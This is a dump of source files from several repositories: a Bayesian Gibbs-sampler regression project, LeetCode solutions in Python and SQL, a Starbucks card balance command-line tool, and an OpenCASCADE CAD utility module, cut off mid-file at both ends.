0.0) {\n // don't let sigsqr go negative\n logpost = -arma::datum::inf;\n }\n \n return logpost;\n}" }, { "alpha_fraction": 0.5447400212287903, "alphanum_fraction": 0.5562273263931274, "avg_line_length": 26.58333396911621, "blob_id": "d72b35d1f5aa4ded3825d7efaac63d8459ce0a74", "content_id": "791afc4c720346ea60d7b53c15cdc8cfe3f34c81", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1654, "license_type": "permissive", "max_line_length": 88, "num_lines": 60, "path": "/get_data.py", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "__author__ = 'brandonkelly'\n\nimport numpy as np\nimport pandas as pd\nimport os\n\nbase_dir = os.environ['HOME'] + '/Projects/Kaggle/big_data_combine/'\n\n\ndef boxcox(x):\n if np.any(x < 0):\n u = x\n elif np.any(x == 0):\n lamb = 0.5\n u = (x ** lamb - 1.0) / lamb\n else:\n u = np.log(x)\n\n return u\n\n\ndef build_dataframe(file=None):\n\n # grab the data\n df = pd.read_csv(base_dir + 'data/' + '1.csv')\n df['day'] = pd.Series(len(df[df.columns[0]]) * [1])\n df['time index'] = pd.Series(df.index)\n df = df.set_index(['day', 'time index'])\n files = [str(d) + '.csv' for d in range(2, 511)]\n for f in files:\n print 'Getting data for day ' + f.split('.')[0] + '...'\n this_df = pd.read_csv(base_dir + 'data/' + f)\n this_df['day'] = pd.Series(len(df[this_df.columns[0]]) * [int(f.split('.')[0])])\n this_df['time index'] = pd.Series(this_df.index)\n this_df = this_df.set_index(['day', 'time index'])\n df = df.append(this_df)\n\n # find the columns corresponding to the securities and predictors\n colnames = df.columns\n feature_index = [c[0] == 'I' for c in colnames]\n nfeatures = np.sum(feature_index)\n security_index = [c[0] == 'O' for c in colnames]\n nsecurities = np.sum(security_index)\n\n feature_labels = []\n for c in colnames:\n if c[0] == 'I':\n feature_labels.append(c)\n\n for f in feature_labels:\n print 'Transforming data for ', f\n df[f] = df[f].apply(boxcox)\n\n if file is not None:\n df.to_pickle(file)\n\n return df\n\nif __name__ == \"__main__\":\n build_dataframe(base_dir + 'data/BDC_dataframe.p')" }, { "alpha_fraction": 0.5757575631141663, "alphanum_fraction": 0.5857575535774231, "avg_line_length": 28.990909576416016, "blob_id": "694b46b44f9d4fe7e1fe17ba2736992befcb6efe", "content_id": "7a9d33dfb3747b44cac66ca8c4dd2f28f0529604", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3300, "license_type": "permissive", "max_line_length": 81, "num_lines": 110, "path": "/HMLinMAE/hmlin_mae.py", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "__author__ = 'brandonkelly'\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport lib_hmlinmae as maeLib\nimport yamcmcpp\n\n\nclass LinMAESample(yamcmcpp.MCMCSample):\n\n def __init__(self, y, X):\n super(LinMAESample, self).__init__()\n self.y = y\n self.X = X\n self.mfeat = X[0].shape[1]\n self.nobjects = len(y)\n\n def generate_from_file(self, filename):\n pass\n\n def generate_from_trace(self, trace):\n pass\n\n def set_logpost(self, logpost):\n pass\n\n def predict(self, x_predict, obj_idx, nsamples=None):\n if nsamples is None:\n # Use all of the MCMC samples\n nsamples = self.nsamples\n index = np.arange(nsamples)\n else:\n try:\n nsamples <= self.nsamples\n except ValueError:\n \"nsamples must be less than the total number of MCMC samples.\"\n\n nsamples0 = self.nsamples\n index = np.arange(nsamples) * (nsamples0 / nsamples)\n\n beta = self.get_samples('coefs ' + str(obj_idx))[index, :]\n sigsqr = self.get_samples('sigsqr ' + str(obj_idx))[index]\n\n y_predict = beta.dot(x_predict)\n\n return y_predict, sigsqr\n\n\ndef run_gibbs(y, X, nsamples, nburnin, nthin=1, tdof=8):\n\n nobjects = len(y)\n\n mfeat = X[0].shape[1]\n\n # convert from numpy to vec3D format needed for C++ extension\n X3d = maeLib.vec3D()\n y2d = maeLib.vec2D()\n for i in xrange(nobjects):\n y_i = y[i]\n X_i = X[i]\n # store response in std::vector<std::vector<double> >\n y1d = maeLib.vec1D()\n y1d.extend(y_i)\n y2d.append(y1d)\n X2d = maeLib.vec2D()\n ndata = y_i.size\n for j in xrange(ndata):\n # store predictors in std::vector<std::vector<std::vector<double> > >\n X1d = maeLib.vec1D()\n X1d.extend(X_i[j, :])\n X2d.append(X1d)\n X3d.append(X2d)\n\n # run the gibbs sampler\n Sampler = maeLib.MaeGibbs(tdof, y2d, X3d) # C++ gibbs sampler object\n Sampler.RunMCMC(nsamples, nburnin, nthin)\n\n print \"Getting MCMC samples...\"\n\n # grab the MCMC samples and store them in a python class\n samples = LinMAESample(y, X)\n\n samples._samples['coefs mean'] = np.empty((nsamples, mfeat))\n samples._samples['sigsqr mean'] = np.empty(nsamples)\n for d in xrange(nobjects):\n samples._samples['weights ' + str(d)] = np.empty(nsamples)\n samples._samples['coefs ' + str(d)] = np.empty((nsamples, mfeat))\n samples._samples['sigsqr ' + str(d)] = np.empty(nsamples)\n\n samples.parameters = samples._samples.keys()\n samples.nsamples = nsamples\n\n print \"Storing MCMC samples...\"\n\n trace = Sampler.GetCoefsMean()\n samples._samples['coefs mean'] = np.asarray(trace)\n trace = Sampler.GetNoiseMean()\n samples._samples['sigsqr mean'] = np.asarray(trace)\n\n for d in xrange(nobjects):\n if d % 100 == 0:\n print \"...\", d, \"...\"\n trace = Sampler.GetWeights(d)\n samples._samples['weights ' + str(d)] = np.asarray(trace)\n trace = Sampler.GetCoefs(d)\n samples._samples['coefs ' + str(d)] = np.asarray(trace)\n trace = Sampler.GetSigSqr(d)\n samples._samples['sigsqr ' + str(d)] = np.asarray(trace)\n\n return samples\n\n" }, { "alpha_fraction": 0.5525668263435364, "alphanum_fraction": 0.569132387638092, "avg_line_length": 35.071006774902344, "blob_id": "3f3ffb3346ea6fc2f6415894ea824faeb7dabfab", "content_id": "0dffe77a8f885ae28a844a24d89b27f35f58f715", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6097, "license_type": "permissive", "max_line_length": 131, "num_lines": 169, "path": "/HMLinMAE/unit_test.cpp", "repo_name": "joddm/BDC", "src_encoding": "UTF-8", "text": "//\n// unit_test.cpp\n// HMLinMAE\n//\n// Created by Brandon Kelly on 9/27/13.\n// Copyright (c) 2013 Brandon Kelly. All rights reserved.\n//\n\n//#define CATCH_CONFIG_MAIN\n//#include <catch.hpp>\n\n#include <iostream>\n#include <vector>\n#include <armadillo>\n#include <random.hpp>\n#include <boost/math/distributions.hpp>\n#include \"linmae_parameters.hpp\"\n#include \"MaeGibbs.hpp\"\n\nusing namespace HMLinMAE;\n\n// Global random number generator object, instantiated in random.cpp\nextern boost::random::mt19937 rng;\n\n// Object containing some common random number generators.\nextern RandomGenerator RandGen;\n\nint main(int argc, const char * argv[])\n{\n double cmean = 2.0;\n double bmean = 1.0;\n double logssqr_mean = log(0.3);\n double logssqr_var = 0.1;\n double cvar = 0.3 * 0.3;\n double bvar = 0.05 * 0.05;\n \n int ndata0 = 300;\n int nobjects = 200;\n int mfeat = 6;\n \n std::vector<vec2d> Xmats;\n std::vector<vec1d> Yvecs;\n std::vector<arma::vec> betas;\n std::vector<double> sigsqrs;\n for (int i=0; i<nobjects; i++) {\n int ndata = 0;\n if (i == nobjects - 1) {\n ndata = 200;\n } else {\n ndata = ndata0;\n }\n arma::mat thisX = arma::zeros(ndata, mfeat);\n thisX.col(0) = arma::ones(ndata);\n for (int k=0; k<mfeat-1; k++) {\n thisX.col(k+1) = 3.0 * 2.0 * arma::randn(ndata);\n }\n vec2d stdX;\n for (int j=0; j<ndata; j++) {\n vec1d Xrow = arma::conv_to<vec1d>::from(thisX.row(j));\n stdX.push_back(Xrow);\n }\n Xmats.push_back(stdX);\n arma::vec this_beta(mfeat);\n this_beta.zeros();\n this_beta(0) = RandGen.normal(cmean, sqrt(cvar));\n this_beta(1) = RandGen.normal(bmean, sqrt(bvar));\n betas.push_back(this_beta);\n double this_ssqr = exp(RandGen.normal(logssqr_mean, sqrt(logssqr_var)));\n sigsqrs.push_back(this_ssqr);\n arma::vec unifs = arma::randu(ndata) - 0.5;\n arma::vec thisY = thisX * this_beta - sqrt(this_ssqr) * unifs / arma::abs(unifs) % arma::log(1.0 - 2.0 * arma::abs(unifs));\n vec1d stdY = arma::conv_to<vec1d>::from(thisY);\n Yvecs.push_back(stdY);\n }\n \n int tdof = 8;\n MaeGibbs Model(tdof, Yvecs, Xmats);\n \n int nsamples = 10000;\n int nburn = 20000;\n int nthin = 5;\n \n ////// RUN THE GIBBS SAMPLER ///////\n \n Model.RunMCMC(nsamples, nburn, nthin);\n \n \n \n // make sure each value of betas are within 3-sigma of true values\n arma::running_stat_vec<double> mcmc_samples(true);\n boost::math::chi_squared_distribution<> chisqr_dist(mfeat);\n double lower_bound = boost::math::quantile(chisqr_dist, 0.01);\n double upper_bound = boost::math::quantile(chisqr_dist, 0.99);\n \n for (int i=0; i<nobjects; i++) {\n mcmc_samples.reset();\n vec2d bsamples = Model.GetCoefs(i); // bsamples is of dimension [nsamples][mfeat]\n for (int k=0; k<nsamples; k++) {\n mcmc_samples(arma::conv_to<arma::vec>::from(bsamples[k]));\n }\n arma::vec post_mean = mcmc_samples.mean();\n arma::mat post_cov = mcmc_samples.cov();\n arma::vec post_cent = post_mean - betas[i];\n double zsqr = arma::as_scalar(post_cent.t() * arma::inv(arma::sympd(post_cov)) * post_cent);\n \n if ((zsqr > upper_bound) || (zsqr < lower_bound)) {\n std::cout << \"Coefficient test failed for object \" << i << std::endl;\n std::cout << \"Reduced chis-square: \" << zsqr / mfeat << std::endl;\n post_mean.print(\"posterior mean: \");\n betas[i].print(\"true value: \");\n mcmc_samples.stddev().print(\"posterior stdev: \");\n }\n \n // now test sigsqr\n arma::vec ssqr_samples(Model.GetSigSqr(i));\n ssqr_samples = arma::log(ssqr_samples);\n double post_smean = arma::mean(ssqr_samples);\n double post_stdev = arma::stddev(ssqr_samples);\n double zscore = (post_smean - log(sigsqrs[i])) / post_stdev;\n \n if (std::abs(zscore) > 3.0) {\n std::cout << \"Noise Variance test failed for object \" << i << std::endl;\n std::cout << \"Z-score: \" << zscore << std::endl;\n std::cout << \"log true value: \" << log(sigsqrs[i]) << std::endl;\n std::cout << \"posterior mean: \" << post_smean << std::endl;\n std::cout << \"posterior stdev: \" << post_stdev << std::endl;\n \n }\n }\n \n mcmc_samples.reset();\n vec2d musamples = Model.GetCoefsMean(); // musamples is of dimension [nsamples][mfeat]\n for (int k=0; k<nsamples; k++) {\n mcmc_samples(arma::conv_to<arma::vec>::from(musamples[k]));\n }\n arma::vec post_mean = mcmc_samples.mean();\n arma::mat post_cov = mcmc_samples.cov();\n arma::vec true_mean(mfeat);\n true_mean.zeros();\n true_mean(0) = cmean;\n true_mean(1) = bmean;\n arma::vec post_cent = post_mean - true_mean;\n double zsqr = arma::as_scalar(post_cent.t() * arma::inv(arma::sympd(post_cov)) * post_cent);\n \n if ((zsqr > upper_bound) || (zsqr < lower_bound)) {\n std::cout << \"Coefficient test failed for mean of coefficients.\" << std::endl;\n std::cout << \"Reduced chi-square: \" << zsqr / mfeat << std::endl;\n post_mean.print(\"posterior mean: \");\n true_mean.print(\"true value: \");\n mcmc_samples.stddev().print(\"posterior stdev: \");\n }\n \n // now test sigsqr\n arma::vec ssqr_sample(Model.GetNoiseMean());\n ssqr_sample = arma::log(ssqr_sample);\n double post_smean = arma::mean(ssqr_sample);\n double post_stdev = arma::stddev(ssqr_sample);\n double zscore = (post_smean - logssqr_mean) / post_stdev;\n \n if (std::abs(zscore) > 3.0) {\n std::cout << \"Noise Variance test failed geometric mean of noise variance.\" << std::endl;\n std::cout << \"Z-score: \" << zscore << std::endl;\n std::cout << \"true value: \" << logssqr_mean << std::endl;\n std::cout << \"posterior mean: \" << post_smean << std::endl;\n std::cout << \"posterior stdev: \" << post_stdev << std::endl;\n \n }\n\n}\n\n" } ]
12
LeonardoRiojaMachineVentures/min_with_scipy
https://github.com/LeonardoRiojaMachineVentures/min_with_scipy
49a3230bf78217cb2c31b88ab3dc7082f2d04803
f4919530921dc27ab8a799176eb946f92aad95db
58388dcb59fd9505350749221dbb82b0c291fb44
refs/heads/main
2023-08-02T06:03:16.937838
2021-09-15T12:54:34
2021-09-15T12:54:34
406,763,341
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5500686168670654, "alphanum_fraction": 0.5761317014694214, "avg_line_length": 32.04545593261719, "blob_id": "5d10ad288b4eeab1e6d7ce6f8dd17ad815abcdb0", "content_id": "19c45480ed033ed80b069902590251cc490d5a38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 729, "license_type": "no_license", "max_line_length": 52, "num_lines": 22, "path": "/min_with_scipy.py", "repo_name": "LeonardoRiojaMachineVentures/min_with_scipy", "src_encoding": "UTF-8", "text": "from scipy.optimize import linprog\n#https://realpython.com/linear-programming-python/\nobj = [-1, -2]\n\nlhs_ineq = [[ 2, 1], # Red constraint left side\n [-4, 5], # Blue constraint left side\n [ 1, -2]] # Yellow constraint left side\n\nrhs_ineq = [20, # Red constraint right side\n 10, # Blue constraint right side\n 2] # Yellow constraint right side\n\nlhs_eq = [[-1, 5]] # Green constraint left side\nrhs_eq = [15] # Green constraint right side\n\nbnd = [(0, float(\"inf\")), # Bounds of x\n (0, float(\"inf\"))] # Bounds of y\n\nopt = linprog(c=obj, A_ub=lhs_ineq, b_ub=rhs_ineq,\n A_eq=lhs_eq, b_eq=rhs_eq, bounds=bnd,\n method=\"revised simplex\")\nopt\n\n\n" } ]
1
alexbondar92/anyway
https://github.com/alexbondar92/anyway
ac304d5ff7f9e50f36ffef0b245ae288f9b6978a
ac133aef69686fc577f80b84d7c1c8ff7d73f5d1
faa9d9506940343e6416eca6884b5e96a00086bb
refs/heads/master
2022-12-31T20:41:32.193400
2020-10-20T14:22:51
2020-10-20T14:22:51
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6118032932281494, "alphanum_fraction": 0.6150819659233093, "avg_line_length": 32.15217208862305, "blob_id": "94f930b4cf9b28809cc494f0c2d92481c1c6f687", "content_id": "a356f9a828ee10039f468f0b7562b3621b667be8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1525, "license_type": "permissive", "max_line_length": 101, "num_lines": 46, "path": "/anyway/parsers/waze/waze_db_functions.py", "repo_name": "alexbondar92/anyway", "src_encoding": "UTF-8", "text": "from anyway.models import WazeAlert, WazeTrafficJams\nfrom anyway.app_and_db import app, db\n\n\ndef insert_waze_alerts(waze_alerts):\n \"\"\"\n insert new waze alerts to db\n :param waze_alerts_df: DataFrame contains waze alerts\n \"\"\"\n\n return _upsert_waze_objects_by_uuid(WazeAlert, waze_alerts)\n\n\ndef insert_waze_traffic_jams(waze_traffic_jams):\n \"\"\"\n insert new waze traffic jams to db\n :param waze_traffic_jams_df: DataFrame contains waze traffic jams\n \"\"\"\n\n return _upsert_waze_objects_by_uuid(WazeTrafficJams, waze_traffic_jams)\n\n\ndef _upsert_waze_objects_by_uuid(model, waze_objects):\n new_records = 0\n with db.session.no_autoflush:\n for waze_object in waze_objects:\n db.session.flush()\n existing_objects = db.session.query(model).filter(model.uuid == str(waze_object[\"uuid\"]))\n object_count = existing_objects.count()\n if object_count == 0:\n new_object = model(**waze_object)\n db.session.add(new_object)\n new_records += 1\n elif object_count > 1:\n\n # sanity: as the uuid field is unique - this should never happen\n raise RuntimeError('Too many waze objects with the same uuid')\n else:\n\n # update the existing alert\n existing_object = existing_objects[0]\n for key, val in waze_object.items():\n setattr(existing_object, key, val)\n\n db.session.commit()\n return new_records\n" } ]
1
kangyibing/MyLeetCode
https://github.com/kangyibing/MyLeetCode
31316d6bd4512342b104586f6c560350921a9b4c
e9a7877ec9178f4bd7a49dc84cbd7860f8e7db02
94e9a5ec8907a8eda39945f11ad14e06ccba77f2
refs/heads/master
2020-04-15T16:28:11.210762
2019-01-16T05:57:56
2019-01-16T05:57:56
164,837,996
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.3483146131038666, "alphanum_fraction": 0.3573033809661865, "avg_line_length": 22.473684310913086, "blob_id": "c0f845976830d9d074c214c8731970765b405c71", "content_id": "99e53089d4b1bcdb6eaf2125725fee0751c40206", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 481, "license_type": "no_license", "max_line_length": 35, "num_lines": 19, "path": "/easy/961.py", "repo_name": "kangyibing/MyLeetCode", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 -*-\nclass Solution(object):\n def repeatedNTimes(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n # 解法一\n dic = {} #创建一个字典\n for a in A:\n if a in dic:\n return a\n else:\n dic[a] = 1\n # 解法二\n # A.sort() #默认升序排序\n # for i in range(1,len(A)):\n # if A[i-1] == A[i]:\n # return A[i]" }, { "alpha_fraction": 0.45199063420295715, "alphanum_fraction": 0.466042160987854, "avg_line_length": 25.75, "blob_id": "fc1fc33fd69d2cd723c3ba4efbc190550d189aec", "content_id": "0539cfe60511fd02df04c0cf672603600bf758ed", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 501, "license_type": "no_license", "max_line_length": 76, "num_lines": 16, "path": "/easy/905.py", "repo_name": "kangyibing/MyLeetCode", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 -*-\nclass Solution(object):\n def sortArrayByParity(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: List[int]\n \"\"\"\n alist = []\n alist2 = []\n for i in A:\n if i % 2 == 0:\n alist.append(i)\n else:\n alist2.append(i)\n alist.extend(alist2)# extend() 函数用于在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表)\n return alist" }, { "alpha_fraction": 0.7918552160263062, "alphanum_fraction": 0.7963801026344299, "avg_line_length": 43.400001525878906, "blob_id": "a0c1c0b38d7fd40be944cf4d53467e45c2192f6c", "content_id": "72b7ffd098290670f71fc24935283215a334e52b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 363, "license_type": "no_license", "max_line_length": 62, "num_lines": 5, "path": "/easy/182.sql", "repo_name": "kangyibing/MyLeetCode", "src_encoding": "UTF-8", "text": "# Write your MySQL query statement below\nselect Email from Person group by Email having count(Email)>1;\n-- 在 SQL 中增加 HAVING 子句原因是,WHERE 关键字无法与聚合函数一起使用。\n-- HAVING 子句可以让我们筛选分组后的各组数据。\n-- GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。" }, { "alpha_fraction": 0.4532374143600464, "alphanum_fraction": 0.46043166518211365, "avg_line_length": 22.25, "blob_id": "20bd3630d5d3aac262db55d24dcdadeac1a29af1", "content_id": "6b4d12961019169f6f0516fa12b5de484cb4ffa5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 316, "license_type": "no_license", "max_line_length": 41, "num_lines": 12, "path": "/easy/771.py", "repo_name": "kangyibing/MyLeetCode", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 -*-\nclass Solution:\n def numJewelsInStones(self, J, S):\n \"\"\"\n :type J: str 宝石\n :type S: str 拥有的石头\n :rtype: Return type int \n \"\"\"\n n=0\n for i in J: \n n+=S.count(i) #该方法返回i在S中出现的次数\n return n" }, { "alpha_fraction": 0.7368420958518982, "alphanum_fraction": 0.7368420958518982, "avg_line_length": 8.5, "blob_id": "7478ec79233d1ce209b7b37ff693fc4266cdbfe2", "content_id": "0c4c0fc9dc2134b8bfb00ca1572e014185c313e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 33, "license_type": "no_license", "max_line_length": 14, "num_lines": 2, "path": "/README.md", "repo_name": "kangyibing/MyLeetCode", "src_encoding": "UTF-8", "text": "LeetCode刷题之路 \n坚持!\n" }, { "alpha_fraction": 0.47428572177886963, "alphanum_fraction": 0.47999998927116394, "avg_line_length": 28.22222137451172, "blob_id": "bd83605b8743f3b72c089fb998135ca69273ea58", "content_id": "03ec169663e6c5842c14410a86afdb19050c2a1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 655, "license_type": "no_license", "max_line_length": 59, "num_lines": 18, "path": "/easy/709.py", "repo_name": "kangyibing/MyLeetCode", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 -*-\nclass Solution:\n def toLowerCase(self, str):\n \"\"\"\n :type str: str\n :rtype: str\n \"\"\"\n #解法一\n # str=str.lower()\n # return str\n #解法二\n n=len(str)\n temp=list(str) # list()方法用于将元组或字符串转换为列表\n for i in range(n):\n if temp[i]>='A' and temp[i]<='Z':\n x= ord(temp[i])+32 # ord()返回对应字符的 ASCII 数值\n temp[i]=chr(x) # chr()返回当前整数对应的ascii字符\n return ''.join(temp) #join()返回通过指定字符连接序列中元素后生成的新字符串" } ]
6
gitskp/python-data-structure
https://github.com/gitskp/python-data-structure
7e8e0a0b6ab0024e153e677c211e3eaaf33b72fd
fc72ce206a1a30310301deda80918689b7c48ec9
669ea42c92bd39faefc6ce9fcb37c1a2e0bb5a43
refs/heads/master
2018-09-27T11:13:22.455839
2018-06-19T14:15:28
2018-06-19T14:15:28
128,056,274
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.446153849363327, "alphanum_fraction": 0.4692307710647583, "avg_line_length": 14.956521987915039, "blob_id": "784a0f9973a64b4deed94fe0275a787ce60ed959", "content_id": "62c3484793f323f187bad4aadfe50f90b4a9a27e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 390, "license_type": "no_license", "max_line_length": 75, "num_lines": 23, "path": "/basic/prime_factor.py", "repo_name": "gitskp/python-data-structure", "src_encoding": "UTF-8", "text": "# https://www.geeksforgeeks.org/print-all-prime-factors-of-a-given-number/\r\nimport math\r\ndef prime_factor(n):\r\n\r\n while n%2==0:\r\n print(2)\r\n n//=2\r\n\r\n\r\n for i in range(3,int(math.sqrt(n))+1,2):\r\n while n%i==0:\r\n print(i)\r\n n=n//i\r\n if n>2:\r\n print(n)\r\n\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n\r\n n= int(input())\r\n prime_factor(n)\r\n" }, { "alpha_fraction": 0.5604395866394043, "alphanum_fraction": 0.5769230723381042, "avg_line_length": 20.75, "blob_id": "031fdcff11ebf6df73c3260013cf7535ffba55aa", "content_id": "cea4f53c5087b2da1708f384c6a1e489e69402a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 364, "license_type": "no_license", "max_line_length": 42, "num_lines": 16, "path": "/basic/decimal_binary.py", "repo_name": "gitskp/python-data-structure", "src_encoding": "UTF-8", "text": "# Function to print binary number for the\r\n# input decimal using recursion\r\ndef decimalToBinary(n):\r\n\r\n if n > 1:\r\n # divide with integral result\r\n # (discard remainder)\r\n decimalToBinary(n//2)\r\n\r\n # use print(n%2, end ='') for python 3\r\n print n%2,\r\n\r\n# Driver code\r\nif __name__ == '__main__':\r\n decimalToBinary(8)\r\n print\r\n" } ]
2
itsjoesullivan/bucksbalance
https://github.com/itsjoesullivan/bucksbalance
1caac34d3f155604961951bb73f52c7bf4813937
95dfa148784b429f36d3f202047e95fd090ec64e
8b88c3c4a3b5ee80ffcb9615f350ab5333879338
refs/heads/master
2021-01-18T03:57:27.097168
2014-10-14T18:57:28
2014-10-14T18:57:28
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5783972144126892, "alphanum_fraction": 0.6620209217071533, "avg_line_length": 14.105262756347656, "blob_id": "f029c83654869898faa07eec7981167d640aa943", "content_id": "d50d47c9205ca1efdd9ef6e00f81e9c6f68011e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 287, "license_type": "no_license", "max_line_length": 54, "num_lines": 19, "path": "/README.md", "repo_name": "itsjoesullivan/bucksbalance", "src_encoding": "UTF-8", "text": "# BucksBalance\n\nSee your starbucks card balance from the command line.\n\n```bash\n# From this repo's root\nsudo pip install -e .\n\n# Set up your .bucksbalance config\ncat << EOF > ~/.bucksbalance\n{\n \"cards\": {\n \"yourcard\": (1234123412341234, 12341234)\n }\n}\nEOF\n\nbucksbalance\n```\n" }, { "alpha_fraction": 0.5832249522209167, "alphanum_fraction": 0.6124837398529053, "avg_line_length": 28.01886749267578, "blob_id": "579f4325e7d27e0c80d6552283ffdd7e67c55b83", "content_id": "17bdefdeb3ccbb5188fb510060e01ef577823cb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1538, "license_type": "no_license", "max_line_length": 141, "num_lines": 53, "path": "/bucksbalance/__init__.py", "repo_name": "itsjoesullivan/bucksbalance", "src_encoding": "UTF-8", "text": "import json\nimport os\nimport re\n\nimport requests\n\nBALANCE_URL = \"https://www.starbucks.com/card/guestbalance\"\nHEADERS = {\n \"Pragma\": \"no-cache\",\n \"Origin\": \"https://www.starbucks.com\",\n \"Accept-Encoding\": \"gzip,deflate\",\n \"Accept-Language\": \"en-US,en;q=0.8,fr;q=0.6,es;q=0.4\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36\",\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n \"Accept\": \"text/html, */*; q=0.01\",\n \"Cache-Control\": \"no-cache\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Connection\": \"keep-alive\",\n \"Referer\": \"https://www.starbucks.com/card/guestbalance\",\n \"DNT\": \"1\",\n}\nBALANCE_RE = re.compile(r'(?:fetch_balance_value\">\\$)([0-9\\.]+)')\n\ndef get_balance(card):\n \"\"\"\n Retrieve the balance, as a float, for the card provided or None\n\n \"\"\"\n data = {\n \"Card.Number\": card[0],\n \"Card.Pin\": card[1],\n }\n\n response = requests.post(BALANCE_URL, data=data, headers=HEADERS)\n if response.status_code == 200:\n match = BALANCE_RE.search(response.text)\n if match:\n return float(match.group(1))\n\n\ndef load_config():\n with open(os.path.expanduser('~/.bucksbalance'), 'r') as bucksfile:\n return json.loads(bucksfile.read())\n\n\ndef main():\n config = load_config()\n for cardname, card in config['cards'].items():\n print(\"{} balance: ${}\".format(cardname, get_balance(card)))\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6257928013801575, "alphanum_fraction": 0.6321353316307068, "avg_line_length": 26.823530197143555, "blob_id": "dae394d73acaddd7e060038c3b01bca803f6fa72", "content_id": "de6eb47946abc2ec5aa221d9347c09c3e73666e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 473, "license_type": "no_license", "max_line_length": 82, "num_lines": 17, "path": "/setup.py", "repo_name": "itsjoesullivan/bucksbalance", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nfrom distutils.core import setup\n\nsetup(\n name = 'bucksbalance',\n version = '0.0.1',\n description = 'Get your starbucks balance where it matters, in your terminal',\n author = 'Philip Forget',\n author_email = '[email protected]',\n url = 'https://github.com/philipforget/bucksbalance',\n packages = ['bucksbalance'],\n install_requires = ['requests'],\n entry_points = {\n 'console_scripts': ['bucksbalance = bucksbalance:main']\n }\n)\n" } ]
3
hducg/O-CNN
https://github.com/hducg/O-CNN
f3e1e03dc9eec238e40fb972f57ad73790e92103
f358113e446ccd3cb2ad4b0325787dcb072638cc
0a61ff6a394730a3039c29f827e2b7aae02fd51c
refs/heads/master
2021-06-04T23:18:08.908910
2019-03-14T16:13:46
2019-03-14T16:13:46
94,876,337
0
0
null
2017-06-20T09:53:52
2017-06-19T03:03:14
2017-06-19T09:09:33
null
[ { "alpha_fraction": 0.6474704146385193, "alphanum_fraction": 0.6563509106636047, "avg_line_length": 26.459259033203125, "blob_id": "3fefbab649b7c237ff40d7ad8be52cbe38746c35", "content_id": "65e5b9145342f9662875e03bc25a60c77d76b3c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3716, "license_type": "permissive", "max_line_length": 89, "num_lines": 135, "path": "/python/occ_utils.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 25 11:43:39 2018\n\n@author: 2624224\n\"\"\"\nimport random\n\nfrom OCC.TopExp import TopExp_Explorer\nfrom OCC.TopAbs import TopAbs_FACE, TopAbs_REVERSED, TopAbs_EDGE\nfrom OCC.TopoDS import topods\nfrom OCC.Bnd import Bnd_Box\nfrom OCC.BRepMesh import BRepMesh_IncrementalMesh\nfrom OCC.BRepBndLib import brepbndlib_Add\nfrom OCC.BRepTools import breptools_UVBounds\nfrom OCC.IntTools import IntTools_FClass2d\nfrom OCC.gp import gp_Pnt2d\nfrom OCC.BRepAdaptor import BRepAdaptor_Surface\nfrom OCC.BRep import BRep_Tool_Surface\nfrom OCC.GeomLProp import GeomLProp_SLProps\nfrom OCC.TDocStd import Handle_TDocStd_Document\nfrom OCC.XCAFApp import XCAFApp_Application\nfrom OCC.TCollection import TCollection_ExtendedString\nfrom OCC.XCAFDoc import XCAFDoc_DocumentTool_ShapeTool, XCAFDoc_DocumentTool_ColorTool\nfrom OCC.GeomAbs import GeomAbs_Plane\nfrom OCC.BRepExtrema import BRepExtrema_DistShapeShape\n\ndef tool_shape_color():\n h_doc = Handle_TDocStd_Document()\n assert(h_doc.IsNull())\n # Create the application\n app = XCAFApp_Application.GetApplication().GetObject()\n app.NewDocument(TCollection_ExtendedString(\"MDTV-CAF\"), h_doc)\n # Get root assembly\n doc = h_doc.GetObject()\n h_shape_tool 